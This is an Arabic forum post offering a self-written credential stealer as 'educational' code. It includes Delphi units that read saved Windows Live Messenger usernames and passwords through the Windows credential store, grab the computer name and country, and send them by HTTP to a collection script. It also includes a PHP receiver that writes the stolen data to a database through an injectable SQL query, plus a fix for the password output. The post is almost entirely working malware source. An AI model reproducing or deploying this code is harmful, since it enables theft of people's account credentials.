ستلر تعليمي من برمجتي

[onexite]

برمجة ستلر
المثال تعليمي فقط وكذلك لنجعل هذه البرامج ليست حكرا على الغرب
لوحة البيانات

لوحة الدخول


السكربت كامل مرفق وهو من برمجتي بالكامل وقد وضعت نسخة منه في موقع opensc.ws

اما الكود سورس فهو كذلك بالكامل الا بعض الدوال
ولقد تم تعديل دالة ايجاد كلمة مرور المسنجر حيث كانت قديما تكون النتيجة من هذا الشكل
a #0b#0c#0d#0....

PHP كود :

^
program Project3;
uses
  WindowsLive in 'WindowsLive.pas',
  unitfunctions in 'unitfunctions.pas';

var i:integer;
begin
for I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl('http://127.0.0.1/site_01/get.php?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 


PHP كود :

unit unitfunctions;
interface
uses Windows,WinInet;
function UserName: String;
procedure OpenUrl(const url: string);
function StrPas(const Str: PChar): string;
function Country: string;
implementation
function StrPas(const Str: PChar): string;begin Result := Str; end;
function Username: String;var Cap: array[1..64] of Char;sz: DWord; begin     sz := SizeOf(Cap) ;    GetComputerName(@Cap, sz); Result := StrPas(@cap);end;
procedure OpenUrl(const url: string);begin InternetOpenUrl(InternetOpen('', 0, nil, nil, 0), PChar(url), nil, 0, 0, 0)end; // by onexite
function Country: string;var Temp: array [0..255] of Char;begin FillChar(Temp, sizeOf(Temp), #0);GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, Temp, sizeOf(Temp));Result := string(Temp); end;
end. 


والوحدة الاخيرة

PHP كود :

WindowsLive.pas;

unit WindowsLive;
interface
uses Windows;

type
TStrArray = array of string;

function GETPassWords:TStrArray;
implementation
 type
 CREDENTIAL_ATTRIBUTEA = record
  Keyword: LPSTR;
  Flags: DWORD;
  ValueSize: DWORD;
  Value: PBYTE;
 end;
 PCREDENTIAL_ATTRIBUTE = ^CREDENTIAL_ATTRIBUTEA;
 CREDENTIALA = record
  Flags: DWORD;
  Type_: DWORD;
  TargetName: LPSTR;
  Comment: LPSTR;
  LastWritten: FILETIME;
  PassWordSize: DWORD;
  PassWord: DWORD;
  Persist: DWORD;
  AttributeCount: DWORD;
  Attributes: PCREDENTIAL_ATTRIBUTE;
  TargetAlias: LPSTR;
  UserName: LPSTR;
 end;
 PCREDENTIAL = array of ^CREDENTIALA;
var
 CredEnumerate: function(Filter: LPCSTR; Flags: DWORD; var Count: DWORD; var Credential: PCREDENTIAL): BOOL; stdcall;
 CredFree: function(Buffer: Pointer): BOOL; stdcall;

function Trimstr(text: String): String; //by onexite
var  i: Integer;
begin
Result:='';
for i:=0 to Length(text)-1 do
 if text[i] <> #0 then Result := Result + text[i]
end;

function GETPassWords: TStrArray;
var
  Collection: PCREDENTIAL;
  Count, i: DWORD;
  Handle: THandle;
begin
  Handle := LoadLibrary('advapi32.dll');
  {$IFDEF UNICODE}
  @CredEnumerate := GetProcAddress(Handle, 'CredEnumerateW');
  {$ELSE}
  @CredEnumerate := GetProcAddress(Handle, 'CredEnumerateA');
  {$ENDIF UNICODE}
  @CredFree := GetProcAddress(Handle, 'CredFree');
  CredEnumerate('WindowsLive:name=*', 0, Count, Collection);
  if Count = 0 then exit;
  for I := 0 to count-1  do begin
   SetLength(Result,Length(Result)+2);
   Result[(i*2)]:=Collection[i].UserName ;
   Result[(2*i)+1]:=Trimstr(String(Collection[i].PassWord));
  end;
  FreeLibrary(Handle);
end;

end. 


عليكم بتعديل نتيجة الفنكسيون قات باسوورد
بتغيير تحديد الحجم ب +1 بدل + 2
وتكون النتيجة الامايل + | + الباسوورد اي result[i] := user+|+pass

اما سكربت الاستقبال فهو بسيط جدا يستقبل سترينق ويقسمها حيث تكون من هذا الشكل user|pass|country|pc|pass2
ونضعهم في قاعدة البيانات

PHP كود :

<?php
require("config.php");
$ip      =$_SERVER["REMOTE_ADDR"];
$data    =explode('|',$_GET['data']);
$user    =$data[0];
$pass    =$data[1];
$Country    =$data[2];
$nam_pc  =$data[3];
$password=$data[4];

if ($password == $oldpass)
{
mysql_query("INSERT INTO base_01 (ip, username, password, Country, nampc) VALUES ('$ip','$user', '$pass', '$Country','$nam_pc')")or die('Error');
} else  echo 'Access is Denied!';
?>

بالتوفيق للجميع

السورس كامل